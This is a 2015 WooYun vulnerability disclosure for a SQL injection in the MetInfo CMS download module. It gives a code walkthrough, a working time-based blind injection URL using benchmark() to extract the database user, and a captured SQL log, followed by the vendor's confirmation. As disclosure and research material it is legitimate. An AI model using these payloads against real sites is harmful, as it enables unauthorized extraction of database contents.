当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-094966

漏洞标题:metinfo 最新版sql注射

相关厂商:MetInfo

漏洞作者: menmen519

提交时间:2015-02-05 16:07

修复时间:2015-05-07 09:02

公开时间:2015-05-07 09:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-05: 细节已通知厂商并且等待厂商处理中
2015-02-06: 厂商已经确认,细节仅向厂商公开
2015-02-09: 细节向第三方安全合作伙伴开放
2015-04-02: 细节向核心白帽子及相关领域专家公开
2015-04-12: 细节向普通白帽子公开
2015-04-22: 细节向实习白帽子公开
2015-05-07: 细节向公众公开

简要描述:

metinfo 最新版sql注射

详细说明:

直接代码分析:
download.php:

require_once '../include/common.inc.php';
$mdname = 'download';
$showname = 'showdownload';
$dbname = $met_download;
$dbname_list = $met_download_list;
$mdmendy = 1;
require_once '../include/global/listmod.php';


然后跳到
listmod.php:

$class1_info=$class_list[$class1]['releclass']?$class_list[$class_list[$class1]['releclass']]:$class_list[$class1];
$class2_info=$class_list[$class1]['releclass']?$class_list[$class1]:$class_list[$class2];
$class3_info=$class_list[$class1]['releclass']?$class_list[$class2]:$class_list[$class3];
if(!is_array($class1_info))okinfo('../404.html');
$class1sql=" class1='$class1' ";
if($class1&&!$class2&&!$class3){
foreach($module_list2[$class_list[$class1]['module']] as $key=>$val){
if($val['releclass']==$class1){
$class1re.=" or class1='$val[id]' ";
}
}
if($class1re){
$class1sql='('.$class1sql.$class1re.')';
}
}


第一步
满足if(!is_array($class1_info))okinfo('../404.html');
第二部
不满足foreach($module_list2[$class_list[$class1]['module']] as $key=>$val){
那么我们就质控出来一个
$class1re
ok分析完毕 发送url:
http://localhost:8080/metinfo/download/download.php?class_list[][id]=mmm&class1=1&class1re=) or (1) ) ) or if(ascii(substr(user(),1,1))=114,benchmark(1000000,md5(1)),1)-- sd
造成时间延时 后台抓取sql语句
2015-01-31 23:53 SELECT * FROM met_download where lang='cn' and (recycle='0' or recycle='-1') and (( ( class1='1' ) or (1) ) ) or if(1,banchmark(1000000,md5(1)),1)-- sd) ) )and displaytype='1' order by top_ok desc,no_order desc,updatetime desc,id desc LIMIT 0, 8
114 这个地方是一个php变量后续可以进行替换猜测敏感信息,我们替换一下
http://localhost:8080/metinfo/download/download.php?class_list[][id]=mmm&class1=1&class1re=) or (1) ) ) or if(ascii(substr(user(),1,1))=$NUM,benchmark(1000000,md5(1)),1)-- sd
然后就可以去猜测敏感信息了

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-02-06 09:00

厂商回复:

谢谢你的反馈,我们将尽快修改!

最新状态:

暂无


漏洞评价:

评论

  1. 2015-06-19 09:02 | 牛 小 帅 ( 普通白帽子 | Rank:363 漏洞数:84 | [code]心若没有栖息的地方,走到哪里都是在...)

    这也太厉害了 看不懂

  2. 2015-08-01 11:29 | 0c0c0f ( 实习白帽子 | Rank:48 漏洞数:15 | My H34rt c4n 3xploit 4ny h0les!)

    我发现select被过滤成 \sel\ect了